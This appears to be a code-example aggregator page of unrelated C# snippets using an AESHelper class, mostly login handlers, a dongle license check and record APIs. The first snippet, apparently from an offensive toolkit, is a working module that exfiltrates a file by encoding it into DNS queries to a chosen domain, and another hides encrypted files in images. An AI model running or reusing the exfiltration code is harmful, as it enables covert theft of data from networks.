Beispiel #1
0
        public XPloitSocketProtocol(Encoding codec, AESHelper crypt, EProtocolMode mode)
        {
            _Codec = codec;
            _Crypt = crypt;
            _Mode = mode;

            // Header is present
            _HeaderLength = (byte)mode;

            _HeaderPadding = new byte[_HeaderLength];
            _MaxLength = (int)Math.Pow(255, _HeaderLength);
            WriteLengthInPacket(_HeaderPadding, 0, _MaxLength);
        }
        public override bool Run()
        {
            if (!File.Exists) return false;

            DnsClient dns = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
            bool ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;

            // Get counter
            byte[] g;
            switch (Convert.ToInt32(Target["Size"]))
            {
                case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }
                case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }
                case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }
                case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }
                default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
            }

            // Copy file id
            int headerLength = g.Length + 4;    // packetNum

            byte[] data = new byte[63 / 2]; // hex 2 bytes per byte
            Array.Copy(g, data, g.Length);

            AESHelper aes = null;

            if (AESHelper.IsConfigured(this))
            {
                aes = new AESHelper(this);
                WriteInfo("Using AES Encryption");
            }
            else WriteError("Send in RawMode");

            WriteInfo("Start sending file ...");

            byte[] crypted = null;

            if (aes != null)
            {
                using (Stream fs = File.OpenRead())
                    crypted = aes.Encrypt(fs, false, null);
            }

            int position = 0;
            using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream)new MemoryStream(crypted)))
            {
                int total = (int)(fs.Length / (data.Length - headerLength));
                if (fs.Length % (data.Length - headerLength) != 0) total++;
                WriteInfo("Sending " + (total) + " dns querys ...");

                StartProgress(total);

                while (true)
                {
                    // copy counter
                    byte[] p = BitConverterHelper.GetBytesInt32(position);
                    position++;

                    Array.Copy(p, 0, data, headerLength - 4, 4);

                    // read
                    int lee = fs.Read(data, headerLength, data.Length - headerLength);
                    if (lee <= 0) break;

                    // generateFile
                    string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;

                    dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
                    if (Sleep > 0) Thread.Sleep(Sleep);

                    WriteProgress(position);
                }

                EndProgress();
            }

            WriteInfo("Done");

            return true;
        }
Beispiel #3
0
        void checkAccount(BaiduResult result, string channelID)
        {
            Random   rd      = new Random();
            DateTime now     = DateTime.Now;
            int      randkey = rd.Next();
            Dictionary <string, object> savedata = new Dictionary <string, object>();

            string remoteIP = Common.Helper.getRemoteIP(Request);

            string acc = "bd_" + result.data.userid;

            savedata["acc"]       = acc;
            savedata["username"]  = result.data.username;
            savedata["randkey"]   = randkey;
            savedata["updatepwd"] = false;
            savedata["platform"]  = "baiduview";
            savedata["channelID"] = channelID;
            savedata["lasttime"]  = now.Ticks;
            savedata["lastip"]    = remoteIP;

            string msg = "";

            if (MongodbAccount.Instance.KeyExistsBykey("AccountTable", "acc", acc) == false)
            {
                savedata["regedittime"] = now;
                savedata["regeditip"]   = remoteIP;

                msg = MongodbAccount.Instance.ExecuteStoreBykey("AccountTable", "acc", acc, savedata);

                Dictionary <string, object> savelog = new Dictionary <string, object>();
                savelog["acc"]      = acc;
                savelog["acc_real"] = acc;
                savelog["ip"]       = remoteIP;
                savelog["time"]     = now;
                savelog["channel"]  = channelID;

                MongodbAccount.Instance.ExecuteInsert("RegisterLog", savelog);
            }
            else
            {
                msg = MongodbAccount.Instance.ExecuteUpdate("AccountTable", "acc", acc, savedata);
            }

            if (msg == "")
            {
                Dictionary <string, object> savelog = new Dictionary <string, object>();
                savelog["acc"]      = acc;
                savelog["acc_real"] = acc;
                savelog["ip"]       = remoteIP;
                savelog["time"]     = now;
                savelog["channel"]  = channelID;

                MongodbAccount.Instance.ExecuteInsert("LoginLog", savelog);
            }

            string clientkey = randkey.ToString() + ":" + now.Ticks.ToString();
            string loginKey  = AESHelper.AESEncrypt(clientkey, AES_LOGINKEY);

            StringBuilder sb = new StringBuilder();

            sb.AppendFormat("local ret = {{code = 0, msg=\"{0}\"}};", loginKey);
            sb.AppendFormat("ret.userid = \"{0}\";", AESHelper.AESEncrypt(acc, AES_KEY));
            sb.AppendFormat("ret.username = \"{0}\";", AESHelper.AESEncrypt(result.data.username, AES_KEY));
            sb.Append("return ret;");

            Response.Write(sb.ToString());
        }
Beispiel #4
0
        static void Main()
        {
            bool         createdNew;
            const string globalGuid = "Global\\C5E5A797-0BF2-494B-BBED-056ABA095C12";
            Mutex        mutex      = new Mutex(true, globalGuid, out createdNew);

            if (!createdNew)
            {
                MessageBox.Show("程序正在运行");
                return;
            }

            #region  加密狗运行

#if DEBUG
            if (Api.LoginSafeDog(ref handle) != 0) //
            {
                MessageBox.Show("启动失败:Dog不存在或不匹配");
            }
            else
            {
                string strdogmsg = Api.ReadDog(0, handle);
                if (strdogmsg == string.Empty)
                {
                    Application.ApplicationExit += Application_ApplicationExit;
                    Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
                    Application.ThreadException += new ThreadExceptionEventHandler(Application_ThreadException);
                    AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);
                    Application.EnableVisualStyles();
                    Application.SetCompatibleTextRenderingDefault(false);

                    string strpr = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                    System.Diagnostics.Process[] process = System.Diagnostics.Process.GetProcessesByName(strpr);
                    if (process.Length > 1)
                    {
                        MessageBox.Show("程序已经在运行中", "系统提示", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                        Application.Exit();
                    }
                    else
                    {
                        try
                        {
                            Application.Run(new mycontext());
                        }
                        catch (Exception ex)
                        {
                            MessageBox.Show(ex.ToString());
                        }
                    }
                }
                else
                {
                    if (!File.Exists(@"armcc01_intr"))
                    {
                        MessageBox.Show("启动失败:加密文件丢失");
                    }
                    else
                    {
                        try
                        {
                            string dogHID = AESHelper.DecryptStr(LicenseMsg.readMachineLicense(@"armcc01_intr"));

                            string term0  = AESHelper.Decrypt(strdogmsg, "qwertyuiop");
                            string dogcpu = term0.Substring(0, 8);

                            string term1 = Api.ReadDog(128, handle);

                            string term2      = AESHelper.Decrypt(term1, "qwertyuiop");
                            string machinecpu = term2.Substring(0, 8);

                            if (dogHID.CompareTo(dogcpu) == 0 && dogHID.CompareTo(machinecpu) == 0)
                            {
                                Application.ApplicationExit += Application_ApplicationExit;
                                Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
                                Application.ThreadException += new ThreadExceptionEventHandler(Application_ThreadException);
                                AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);
                                Application.EnableVisualStyles();
                                Application.SetCompatibleTextRenderingDefault(false);

                                string strpr = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                                System.Diagnostics.Process[] process = System.Diagnostics.Process.GetProcessesByName(strpr);

                                if (process.Length > 1)
                                {
                                    MessageBox.Show("程序已经在运行中", "系统提示", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                    Application.Exit();
                                }
                                else
                                {
                                    try
                                    {
                                        Application.Run(new mycontext());
                                    }
                                    catch (Exception ex)
                                    {
                                        MessageBox.Show(ex.ToString());
                                    }
                                }
                            }
                            else
                            {
                                MessageBox.Show("启动失败:电脑不匹配:" + "请联系厂家");
                            }
                        }
                        catch (Exception ex)
                        {
                            MessageBox.Show("启动失败:Dog参数文件被手动修改" + ex.Message + "/" + "请联系厂家");
                        }
                    }
                }
            }
#else
            Application.ApplicationExit += Application_ApplicationExit;
            Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
            Application.ThreadException += new ThreadExceptionEventHandler(Application_ThreadException);
            AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            try
            {
                Application.Run(new mycontext());
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
#endif
            #endregion
        }
Beispiel #5
0
        void CheckAccount(Dictionary <string, object> data)
        {
            string platform = Request.Params["platform"];

            if (string.IsNullOrEmpty(platform))
            {
                buildReturnMsg("-1");//data error
                return;
            }

            string table = ConfigurationManager.AppSettings["acc_" + platform];

            if (string.IsNullOrEmpty(table))
            {
                buildReturnMsg("-15");//platform error
                return;
            }

            string HardwareID = data["n1"].ToString();//HardwareID

            if (string.IsNullOrEmpty(HardwareID))
            {
                buildReturnMsg("-12");//account error
                return;
            }

            //特殊校验
            string spwd = AESHelper.AESDecrypt(data["n2"].ToString(), AES_KEY);//password

            spwd = spwd.Replace("\n", "");
            string tmp = AESHelper.AESEncrypt(AES_KEY + HardwareID + ACC_CHECK, ACC_CHECK);

            if (spwd != tmp)           //md5
            {
                buildReturnMsg("-14"); //pwd error
                return;
            }


            string retacc    = "";
            string strerr    = "";
            bool   isregedit = false;

            Random   rd      = new Random();
            int      randkey = rd.Next();
            DateTime now     = DateTime.Now;
            Dictionary <string, object> updata = new Dictionary <string, object>();

            updata["randkey"]  = randkey;
            updata["lasttime"] = now.Ticks;
            updata["lastip"]   = Request.ServerVariables.Get("Remote_Addr").ToString();

            if (!MongodbAccount.Instance.KeyExistsBykey(table, "acc_dev", HardwareID))
            {
                retacc = BuildAccount.getAutoAccount(table);
                //注册
                updata["acc_dev"]     = HardwareID;
                updata["acc"]         = retacc;
                updata["regedittime"] = now;
                updata["updatepwd"]   = false;

                strerr = MongodbAccount.Instance.ExecuteStoreBykey(table, "acc_dev", HardwareID, updata);

                isregedit = true;
            }
            else
            {
                var fdata = MongodbAccount.Instance.ExecuteGetBykey(table, "acc_dev", HardwareID, new string[] { "acc" });
                if (fdata != null)
                {
                    retacc = fdata["acc"].ToString();
                }

                //登陆
                strerr = MongodbAccount.Instance.ExecuteUpdate(table, "acc_dev", HardwareID, updata);
            }

            if (strerr != "")
            {
                buildReturnMsg("-11");//server error
            }
            else
            {
                RSAHelper rsa = new RSAHelper();
                rsa.setModulus(data["n3"].ToString());

                string clientkey = randkey.ToString() + ":" + now.Ticks.ToString();
                buildReturnMsg(AESHelper.AESEncrypt(clientkey, AES_KEY), true, retacc);//login success

                string channelID = null;
                if (data.ContainsKey("n4"))
                {
                    channelID = data["n4"].ToString();
                }

                Dictionary <string, object> savelog = new Dictionary <string, object>();
                savelog["acc_dev"] = HardwareID;
                savelog["acc"]     = retacc;
                savelog["ip"]      = Request.ServerVariables.Get("Remote_Addr").ToString();
                savelog["time"]    = now;
                savelog["channel"] = channelID;
                MongodbAccount.Instance.ExecuteInsert("LoginLog", savelog);

                if (isregedit)
                {
                    MongodbAccount.Instance.ExecuteInsert("RegisterLog", savelog);

                    //渠道每日注册
                    if (data.ContainsKey("n4"))
                    {
                        MongodbAccount.Instance.ExecuteIncBykey("day_regedit", "date", DateTime.Now.Date, data["n4"].ToString(), 0);
                    }
                }
            }
        }
Beispiel #6
0
        public string AddInf4Web(LawyerInf v)
        {
            string wramStr = "";

            if (v.LName == "" || v.LName == null)
            {
                wramStr = "姓名不能为空";
                return("{\"code\":0,\"msg\":\"" + wramStr + "\"}");
            }
            if (v.LIdentityNumber == "" || v.LIdentityNumber == null)
            {
                wramStr = "身份证号不能为空";
                return("{\"code\":0,\"msg\":\"" + wramStr + "\"}");
            }

            //数据在传输过程中,密文中的“+”号会被替换合成“ ”空格号,把它还原回来
            string name           = v.LName.Replace(" ", "+");
            string identityNumber = v.LIdentityNumber.Replace(" ", "+");

            string p = "";

            p += "LName=" + name;
            p += "&LSex=" + v.LSex;
            p += "&LPhoto=" + DataHelper.IsNullReturnLine(v.LPhoto, true);
            p += "&LIdentityNumber=" + v.LIdentityNumber;
            p += "&LActuator=" + v.LActuator;
            p += "&LPCType=" + v.LPCType;
            p += "&LPCNumber=" + v.LPCNumber;
            p += "&LQualifityNumber=" + v.LQualifityNumber;
            p += "&LIssuingAuthority=" + v.LIssuingAuthority;
            p += "&LIssuingDate=" + v.LIssuingDate;
            p += "&LInTime=" + v.LInTime;
            p += "&LFromCourtId=" + v.LFromCourtId;
            p += "&LRemark=" + v.LRemark;

            string md5Ciphertext = v.LMD5Ciphertext;//对方传过来的所有字段的MD5密文
            //把传过来的信息再次MD5加密,和所有字段的MD5密文进行比对,保证数据在传输过程中没被修改才允许添加到数据库
            string md5P = MD5Helper._md5(p);

            if (md5Ciphertext == md5P)
            {
                string sql = "sp_addLawyerInf";
                name           = AESHelper.AesDecrypt(name);
                identityNumber = AESHelper.AesDecrypt(identityNumber);
                SqlParameter[] pms = new SqlParameter[] {
                    new SqlParameter("@LName", SqlDbType.NVarChar)
                    {
                        Value = name
                    },
                    new SqlParameter("@LSex", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LSex)
                    },
                    new SqlParameter("@LPhoto", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LPhoto)
                    },
                    new SqlParameter("@LIdentityNumber", SqlDbType.NVarChar)
                    {
                        Value = identityNumber
                    },
                    new SqlParameter("@LActuator", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LActuator)
                    },
                    new SqlParameter("@LPCType", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LPCType)
                    },
                    new SqlParameter("@LPCNumber", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LPCNumber)
                    },
                    new SqlParameter("@LQualifityNumber", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LQualifityNumber)
                    },
                    new SqlParameter("@LIssuingAuthority", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LIssuingAuthority)
                    },
                    new SqlParameter("@LIssuingDate", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LIssuingDate)
                    },
                    new SqlParameter("@LInTime", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LInTime)
                    },
                    new SqlParameter("@LFromCourtId", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LFromCourtId)
                    },
                    new SqlParameter("@LRemark", SqlDbType.NVarChar)
                    {
                        Value = DataHelper.IsNullReturnLine(v.LRemark)
                    }
                };
                try
                {
                    int result = SQLHelper.ExecuteNonQuery(sql, System.Data.CommandType.StoredProcedure, pms);
                    return(ConvertHelper.IntToJson(result));
                }
                catch (Exception e)
                {
                    //在webapi中要想抛出异常必须这样抛出,否则只抛出一个默认500的异常
                    var resp = new HttpResponseMessage(HttpStatusCode.InternalServerError)
                    {
                        Content      = new StringContent(e.ToString()),
                        ReasonPhrase = "error"
                    };
                    throw new HttpResponseException(resp);
                }
            }
            else
            {
                return(ConvertHelper.resultJson(0, "数据传输过程中被篡改"));
            }
        }
Beispiel #7
0
 public Encryption()
 {
     _aesHelper = new AESHelper();
 }
        public override ECheck Check()
        {
            try
            {
                if (!LocalFileRead.Exists)
                {
                    WriteError("LocalFileRead must exists");
                    return(ECheck.Error);
                }

                if (Mode == EMode.Write && !LocalFileWrite.Exists)
                {
                    WriteError("In this mode LocalFileWrite must exists, and will be replaced with the result image");
                    return(ECheck.Error);
                }

                try
                {
                    Bitmap img = (Bitmap)Image.FromFile(LocalFileRead.FullName);

                    AESHelper aes = AESHelper.Create(this);

                    if (Mode == EMode.Write)
                    {
                        byte[] data = File.ReadAllBytes(LocalFileWrite.FullName);
                        if (aes != null)
                        {
                            data = aes.Encrypt(data);
                        }

                        int totalSize = data.Length + 4;
                        int av        = CalculateMaxLength(img.Width, img.Height);

                        WriteInfo("Bytes to encode", GetSize(totalSize), ConsoleColor.Green);
                        WriteInfo("Bytes available", GetSize(av), ConsoleColor.DarkCyan);

                        if (totalSize <= av)
                        {
                            if (totalSize != av)
                            {
                                WriteInfo("You can write more!", GetSize(av - totalSize), ConsoleColor.DarkCyan);
                            }
                            return(ECheck.Ok);
                        }
                        else
                        {
                            WriteError("You need a image more larger or a message more shorter ... sorry :(");
                            return(ECheck.Error);
                        }
                    }

                    img.Dispose();
                }
                catch
                {
                    WriteError("LocalFileRead must be a valid image");
                    return(ECheck.Error);
                }

                return(ECheck.Ok);
            }
            catch { return(ECheck.Error); }
        }
Beispiel #9
0
    public string GetResellerProductClassifyList(string JSon, string from)
    {
        BD_GoodsCategory bll = new  BD_GoodsCategory();

        BD_GoodsCategory.ResultGoodsCategory result = bll.GetResellerProductClassifyList(AESHelper.Decrypt_android(JSon));
        JavaScriptSerializer js = new JavaScriptSerializer();

        return(AESHelper.Encrypt_android(js.Serialize(result)));
    }
Beispiel #10
0
 public string Maker_MD5(string JSon)
 {
     return(AESHelper.Encrypt_MD5(JSon));
 }
Beispiel #11
0
 public string Maker_string(string key)
 {
     return(AESHelper.Encrpt_string(key));
 }
Beispiel #12
0
        void CheckAccount(Dictionary <string, object> data)
        {
            string sacc = data["n1"].ToString();                                //account
            string spwd = AESHelper.AESDecrypt(data["n2"].ToString(), AES_KEY); //password

            if (spwd.Length != 32)                                              //md5
            {
                buildReturnMsg("-14");                                          //pwd error
                return;
            }

            string platform = Request.Params["platform"];

            string table = ConfigurationManager.AppSettings["acc_" + platform];

            if (string.IsNullOrEmpty(table))
            {
                buildReturnMsg("-15");//platform error
                return;
            }

            string pattern = @"^[0-9a-zA-Z]{6,30}$";

            if (!Regex.IsMatch(sacc, pattern))
            {
                buildReturnMsg("-15");//account error
                return;
            }
            string             remoteIP = Common.Helper.getRemoteIP(Request);
            List <IMongoQuery> imqs     = new List <IMongoQuery>();

            imqs.Add(Query.EQ("acc", sacc));
            imqs.Add(Query.EQ("pwd", spwd));
            int retCode = tryLogin(sacc, spwd, table);

            //if (MongodbAccount.Instance.KeyExistsByQuery(table, Query.And(imqs)))
            if (retCode == 0)
            {
                Random rd      = new Random();
                int    randkey = rd.Next();
                Dictionary <string, object> updata = new Dictionary <string, object>();
                DateTime now = DateTime.Now;
                updata["randkey"]  = randkey;
                updata["lasttime"] = now.Ticks;
                //List<IMongoQuery> imqs2 = new List<IMongoQuery>();
                //imqs2.Add(Query.EQ("acc", sacc));
                //imqs2.Add(Query.EQ("platform", Platform));
                updata["lastip"] = remoteIP;
                string strerr = MongodbAccount.Instance.ExecuteUpdate(table, "acc", sacc, updata);
                if (strerr != "")
                {
                    buildReturnMsg("-11");//server error
                }
                else
                {
                    RSAHelper rsa = new RSAHelper();
                    rsa.setModulus(data["n3"].ToString());

                    string clientkey = randkey.ToString() + ":" + now.Ticks.ToString();
                    buildReturnMsg(rsa.RSAEncryptStr(clientkey), true);//login success

                    string channelID = null;
                    if (data.ContainsKey("n4"))
                    {
                        channelID = data["n4"].ToString();
                    }

                    Dictionary <string, object> savelog = new Dictionary <string, object>();
                    savelog["acc"]      = sacc;
                    savelog["acc_real"] = sacc;
                    string deviceID = Request.Params["deviceID"];
                    if (!string.IsNullOrEmpty(deviceID))
                    {
                        savelog["acc_dev"] = deviceID;
                    }
                    savelog["ip"]      = remoteIP;
                    savelog["time"]    = now;
                    savelog["channel"] = channelID;
                    MongodbAccount.Instance.ExecuteInsert("LoginLog", savelog);
                }
            }
            else
            {
                // ReturnMsg("-10");//acc or pwd error
                buildReturnMsg(retCode.ToString());
            }
        }
        public string EditInf(LawyerInf v)
        {
            if (v.Token == DataHelper.getToken())
            {
                string wramStr = "";
                if (v.LName == "" || v.LName == null)
                {
                    wramStr = "姓名不能为空";
                    return("{\"code\":0,\"msg\":\"" + wramStr + "\"}");
                }
                else if (v.LIdentityNumber == "" || v.LIdentityNumber == null)
                {
                    wramStr = "身份证号不能为空";
                    return("{\"code\":0,\"msg\":\"" + wramStr + "\"}");
                }
                //数据在传输过程中,密文中的“+”号会被替换合成“ ”空格号,把它还原回来
                string name           = v.LName.Replace(" ", "+");
                string identityNumber = v.LIdentityNumber.Replace(" ", "+");

                string p = "";
                p += "LName=" + name;
                p += "&LSex=" + v.LSex;
                p += "&LPhoto=" + DataHelper.IsNullReturnLine(v.LPhoto, true);
                p += "&LIdentityNumber=" + identityNumber;
                p += "&LActuator=" + v.LActuator;
                p += "&LPCType=" + v.LPCType;
                p += "&LPCNumber=" + v.LPCNumber;
                p += "&LQualifityNumber=" + v.LQualifityNumber;
                p += "&LIssuingAuthority=" + v.LIssuingAuthority;
                p += "&LIssuingDate=" + v.LIssuingDate;
                p += "&LInTime=" + v.LInTime;
                p += "&LFromCourtId=" + v.LFromCourtId;
                p += "&LRemark=" + v.LRemark;

                string md5Ciphertext = v.LMD5Ciphertext;//对方传过来的所有字段的MD5密文
                //把传过来的信息再次MD5加密,和所有字段的MD5密文进行比对,保证数据在传输过程中没被修改才允许添加到数据库
                string md5P = MD5Helper._md5(p);
                if (md5Ciphertext == md5P)
                {
                    //string sql = "insert into T_VisitorAccessInf(VName, VSex, VNation, VBirthDate, VAddress, VIssuingAuthority, VExpiryDate, VCertificatePhoto, VLocalePhoto, VCertificateType, VCertificateNumber, VType, VFromCourtId, VInTime, VOutTime, VInPost, VOutPost, VInDoorkeeper, VOutDoorkeeper, VVisitingReason, VIntervieweeDept, VInterviewee, VOffice, VOfficePhone, VExtensionPhone, VMobilePhone, VRemark) values(@VName, @VSex, @VNation, @VBirthDate, @VAddress, @VIssuingAuthority, @VExpiryDate, @VCertificatePhoto, @VLocalePhoto, @VCertificateType, @VCertificateNumber, @VType, @VFromCourtId, @VInTime, @VOutTime, @VInPost, @VOutPost, @VInDoorkeeper, @VOutDoorkeeper, @VVisitingReason, @VIntervieweeDept, @VInterviewee, @VOffice, @VOfficePhone, @VExtensionPhone, @VMobilePhone, @VRemark)";
                    string sql = "update T_LawyerInf set LName=@LName,LSex=@LSex,LPhoto=@LPhoto,LIdentityNumber=@LIdentityNumber,LActuator=@LActuator,";
                    sql += "LPCType=@LPCType,LPCNumber=@LPCNumber,LQualifityNumber=@LQualifityNumber,LIssuingAuthority=@LIssuingAuthority,";
                    sql += "LIssuingDate=@LIssuingDate,LInTime=@LInTime,LFromCourtId=@LFromCourtId,LRemark=@LRemark";
                    sql += " where LId=@LId";
                    SqlParameter[] pms = new SqlParameter[] {
                        new SqlParameter("@LName", SqlDbType.NVarChar)
                        {
                            Value = AESHelper.AesDecrypt(name)
                        },
                        new SqlParameter("@LSex", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LSex)
                        },
                        new SqlParameter("@LPhoto", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LPhoto)
                        },
                        new SqlParameter("@LIdentityNumber", SqlDbType.NVarChar)
                        {
                            Value = AESHelper.AesDecrypt(identityNumber)
                        },
                        new SqlParameter("@LActuator", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LActuator)
                        },
                        new SqlParameter("@LPCType", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LPCType)
                        },
                        new SqlParameter("@LPCNumber", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LPCNumber)
                        },
                        new SqlParameter("@LQualifityNumber", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LQualifityNumber)
                        },
                        new SqlParameter("@LIssuingAuthority", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LIssuingAuthority)
                        },
                        new SqlParameter("@LIssuingDate", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LIssuingDate)
                        },
                        new SqlParameter("@LInTime", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LInTime)
                        },
                        new SqlParameter("@LFromCourtId", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LFromCourtId)
                        },
                        new SqlParameter("@LRemark", SqlDbType.NVarChar)
                        {
                            Value = DataHelper.IsNullReturnLine(v.LRemark)
                        },
                        new SqlParameter("@LId", SqlDbType.Int)
                        {
                            Value = v.LId
                        }
                    };
                    try
                    {
                        int result = SQLHelper.ExecuteNonQuery(sql, System.Data.CommandType.Text, pms);
                        return(ConvertHelper.IntToJson(result));
                    }
                    catch (Exception e)
                    {
                        //在webapi中要想抛出异常必须这样抛出,否则之抛出一个默认500的异常
                        var resp = new HttpResponseMessage(HttpStatusCode.InternalServerError)
                        {
                            Content      = new StringContent(e.ToString()),
                            ReasonPhrase = "error"
                        };
                        throw new HttpResponseException(resp);
                    }
                }
                return(ConvertHelper.resultJson(0, "出错了!"));
            }
            else
            {
                return(ConvertHelper.resultJson(101, "权限受限!"));
            }
        }
Beispiel #14
0
        /// <summary>
        /// 重写Controler中的Json方法
        /// </summary>
        /// <param name="context"></param>
        public override void ExecuteResult(System.Web.Mvc.ControllerContext context)
        {
            if (context == null)
            {
                throw new ArgumentNullException("context");
            }
            var requestData = (context.Controller as NetSSLController).RequestData;

            if (JsonRequestBehavior == Mvc.JsonRequestBehavior.DenyGet &&
                String.Equals(context.HttpContext.Request.HttpMethod, "GET", StringComparison.OrdinalIgnoreCase))
            {
                throw new InvalidOperationException("指定的操作不允许Get的Ajax请求方式访问");
            }

            HttpResponseBase response = context.HttpContext.Response;

            if (!string.IsNullOrEmpty(ContentType))
            {
                response.ContentType = ContentType;
            }
            else
            {
                response.ContentType = "application/json";
            }
            if (ContentEncoding != null)
            {
                response.ContentEncoding = ContentEncoding;
            }
            if (Data != null)
            {
                if (requestData.Contains("secret") && requestData.Contains("encryption"))
                {
                    var       decrypt = Utils.GetDecrypt(requestData);
                    RsaHelper rsa     = new RsaHelper(null, Utils.RsaPubKey(decrypt.isdefault));

                    string secret     = string.Empty;
                    string encryption = string.Empty;
                    if (decrypt.sectype == SecType.Des.GetHashCode())
                    {
                        var desKv = Utils.DesKV();

                        secret     = rsa.Encrypt(desKv);
                        encryption = DesHelper.Encrypt(JsonHelper.Serialize(Data), desKv);
                    }
                    else
                    {
                        var       aesKv = Utils.AesKV();
                        AESHelper aes   = new AESHelper($"{aesKv}{aesKv}", aesKv);

                        secret     = rsa.Encrypt(aesKv);
                        encryption = aes.Encrypt(JsonHelper.Serialize(Data));
                    }

                    try
                    {
                        response.Write(JsonHelper.Serialize(new Decrypt
                        {
                            secret     = secret,
                            encryption = encryption,
                            isdefault  = decrypt.isdefault,
                            sectype    = decrypt.sectype
                        }));
                    }
                    catch (Exception ex)
                    {
                        response.Write(JsonHelper.Serialize(JResult.Error($"加密失败,异常:{ex.Message}")));
                    }
                }
                else
                {
                    response.Write(JsonHelper.Serialize(Data));
                }
            }
        }
        /// <summary>
        /// 登陆
        /// </summary>
        /// <param name="loginID"></param>
        /// <param name="PWD"></param>
        /// <returns></returns>
        public string CHKLogin(string loginID, string PWD)
        {
            if (string.IsNullOrEmpty(loginID))
            {
                return("登录名不能为空");
            }
            if (string.IsNullOrEmpty(PWD))
            {
                return("密码不能为空");
            }
            try
            {
                //解密参数值
                loginID = AESHelper.DecryptString(loginID);
                PWD     = AESHelper.DecryptString(PWD);
                //去掉参数中的转移字符
                loginID = new string((from c in loginID.ToCharArray() where !char.IsControl(c) select c).ToArray());
                PWD     = new string((from c in PWD.ToCharArray() where !char.IsControl(c) select c).ToArray());
                if (string.IsNullOrEmpty(loginID))
                {
                    return("登录名验证失败");
                }
                if (string.IsNullOrEmpty(PWD))
                {
                    return("密码验证失败");
                }
            }
            catch
            { }
            SalonService salon = new SalonService();
            SalonSimple  sal   = salon.GetLoginInfo(loginID, FormsAuthentication.HashPasswordForStoringInConfigFile(PWD, "MD5"));

            if (sal.Email == "CCCCCCCCCCCaa")
            {
                sal.Status = 4;
            }
            if (sal == null)
            {
                //return "登陆失败 请检查登录名和密码";
                return("查询失败,或没有查到相关注册信息");
            }
            else
            {
                if (string.IsNullOrEmpty(sal.Uid.ToString()))
                {
                    return("帐号错误");
                }
                else
                {
                    string turl = "";
                    string stat = "1";
                    Session["W_B_UID"] = sal.Uid.ToString();
                    if (sal.Opendate < DateTime.Now)
                    {
                        if (sal.Email != "CCCCCCCCCCCaa")
                        {
                            //如果开通超过1年 那么就是已经过期
                            sal.Status = 3;
                            salon.UpdatestatusInfo(sal.Uid.ToString(), 3);
                        }
                    }
                    switch (sal.Status)
                    {
                    case 0:
                        //帐号禁用
                        turl = "";
                        stat = "登录失败 帐号已被禁用";
                        Session["W_B_UID"] = "";
                        break;

                    case 1:
                        //审核中
                        turl = "/Register/check";
                        break;

                    case 2:
                        //审核未通过
                        turl = "/Register/check";
                        break;

                    case 3:
                        //审核已通过未付款
                        turl = "/Register/check";
                        stat = "2";
                        break;

                    case 4:
                        //审核已通过已付款
                        FormsAuthenticationTicket authTicket = new FormsAuthenticationTicket(
                            1,
                            sal.Uid.ToString(),
                            DateTime.Now,
                            DateTime.Now.AddDays(1),
                            false,
                            sal.Cell.Trim() + "$bobo$" + sal.Nickname + "$bobo$" + sal.Logo
                            );
                        string     encryptedTicket = FormsAuthentication.Encrypt(authTicket);
                        HttpCookie authCookie      = new HttpCookie(FormsAuthentication.FormsCookieName, encryptedTicket);
                        HttpContext.Response.Cookies.Add(authCookie);
                        turl = "/manage/Index";
                        break;
                    }
                    return(stat + "|" + turl);
                }
            }
            return("未知错误");
        }
Beispiel #16
0
 public XPloitSocketProtocol(AESHelper crypt, EProtocolMode mode) : this(Encoding.UTF8, crypt, mode) { }
Beispiel #17
0
 internal static string EncryptToken(long userCode, DateTime authTime)
 {
